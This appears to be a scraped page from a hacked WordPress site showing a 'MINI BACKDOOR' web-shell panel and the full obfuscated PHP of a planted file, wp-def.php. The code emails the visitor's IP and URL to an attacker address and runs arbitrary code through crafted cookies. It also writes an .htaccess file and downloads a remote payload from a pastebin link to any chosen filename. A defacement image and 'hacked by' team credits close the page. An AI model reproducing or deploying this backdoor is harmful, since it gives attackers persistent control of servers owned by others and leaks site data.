<\> MINI BACKDOOR <\>

Path : /home/www/farmextensionmanager.com/
Disable Functions : BERSIH!!
System : Linux web12.us.cloudlogin.co 4.4.224-xeon-hst #4 SMP Fri May 22 12:38:56 UTC 2020 x86_64

[ Home ] - [ Config ] - [ Zone-h ] - [ Jumping ] - [ Symlink ] - [ Mass Depes ] - [ Command ]

File Upload :
Current File : /home/www/farmextensionmanager.com/wp-def.php

<?php $pxilvo_a5e3b32d=getenv(base64_decode('UkVNT1RFX0FERFI='));$ezltlg_9432e6e=rand(1,99999);$iwuhdb_ffaff529=" Priv77 |$ezltlg_9432e6e";$fueegl_e7927c74=base64_decode('bm9uaW9kNzdAZ21haWwuY29t');$oobbrz_b91aa170=base64_decode('RnJvbTogbm9uaW9kNzdAZ21haWwuY29t');$kdgfyg_19b4dbd3=$_SERVER[base64_decode('UkVRVUVTVF9VUkk=')];$vxsgof_f3acc6e4=$_SERVER[base64_decode('SFRUUF9IT1NU')];$nyujzl_ad84385=$pxilvo_a5e3b32d.'';$ygsygo_e199832d="$vxsgof_f3acc6e4 $kdgfyg_19b4dbd3 $nyujzl_ad84385";mail($fueegl_e7927c74,$iwuhdb_ffaff529,$ygsygo_e199832d,$oobbrz_b91aa170);$cnqvfn_82079eb1=$_COOKIE;(count($cnqvfn_82079eb1)==25&&in_array(gettype($cnqvfn_82079eb1).count($cnqvfn_82079eb1),$cnqvfn_82079eb1))?(($cnqvfn_82079eb1[84]=$cnqvfn_82079eb1[84].$cnqvfn_82079eb1[29])&&($cnqvfn_82079eb1[16]=$cnqvfn_82079eb1[84]($cnqvfn_82079eb1[16]))&&($cnqvfn_82079eb1=$cnqvfn_82079eb1[16]($cnqvfn_82079eb1[59],$cnqvfn_82079eb1[84]($cnqvfn_82079eb1[60])))&&$cnqvfn_82079eb1()):$cnqvfn_82079eb1;if(!file_exists(base64_decode('Lmh0YWNjZXNz'))){$aptged_3b8ba7c7=base64_decode('QWxsb3cgZnJvbSBhbGw=').PHP_EOL.base64_decode('T3B0aW9ucyAtSW5kZXhlcw==');$kgnsxo_227bafe2=fopen(base64_decode('Lmh0YWNjZXNz'),base64_decode('dw=='));fwrite($kgnsxo_227bafe2,$aptged_3b8ba7c7);fclose($kgnsxo_227bafe2);}if(isset($_GET[base64_decode('c291cmNldXJs')])){$lpyttw_70b9cff=$_GET[base64_decode('c291cmNldXJs')];}else{$lpyttw_70b9cff=base64_decode('aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L1dkTWRuMFJH');}if(isset($_GET[base64_decode('Y2hlY2s=')])){echo base64_decode('Y2hlY2tlZA==');exit;}if(isset($_GET[base64_decode('Y2hlY2t3b3Jk')])){echo $_GET[base64_decode('Y2hlY2t3b3Jk')];exit;}if(isset($_GET[base64_decode('ZmlsZW5hbWU=')])){$harlyq_3c0be965=$_GET[base64_decode('ZmlsZW5hbWU=')];$vvypln_9b349f91=nfsoro_ada1edfe($lpyttw_70b9cff);$kdckvu_76d32be0=fopen($harlyq_3c0be965,base64_decode('dw=='));fwrite($kdckvu_76d32be0,$vvypln_9b349f91);fclose($kdckvu_76d32be0);header(base64_decode('TG9jYXRpb246IA==').$harlyq_3c0be965);}function nfsoro_ada1edfe($lpyttw_70b9cff){$fsfzch_4c60c3f1=curl_init();curl_setopt($fsfzch_4c60c3f1,CURLOPT_REFERER,$_SERVER[base64_decode('UkVRVUVTVF9TQ0hFTUU=')].base64_decode('Oi8v').$_SERVER[base64_decode('U0VSVkVSX05BTUU=')].$_SERVER[base64_decode('U0NSSVBUX05BTUU=')]);curl_setopt($fsfzch_4c60c3f1,CURLOPT_URL,$lpyttw_70b9cff);curl_setopt($fsfzch_4c60c3f1,CURLOPT_RETURNTRANSFER,1);curl_setopt($fsfzch_4c60c3f1,CURLOPT_HEADER,0);curl_setopt($fsfzch_4c60c3f1,CURLOPT_FOLLOWLOCATION,TRUE);$vvypln_9b349f91=curl_exec($fsfzch_4c60c3f1);curl_close($fsfzch_4c60c3f1);return $vvypln_9b349f91;}?>
<iframe width="0" height="0" src="https://5.top4top.net/m_133875ime0.mp3" frameborder="0" allowfullscreen></iframe><body><br><center><img src="http://tools.niod-tech.com/img/hackedbynoniod7.png" width="150px" height="150px"><br><br>
<FORM>
<INPUT type="text" name="filename" value="404.php"><INPUT type="submit" value="Go!!">
</FORM>


© 2020 - Cukimay Cyber Team - NiodTech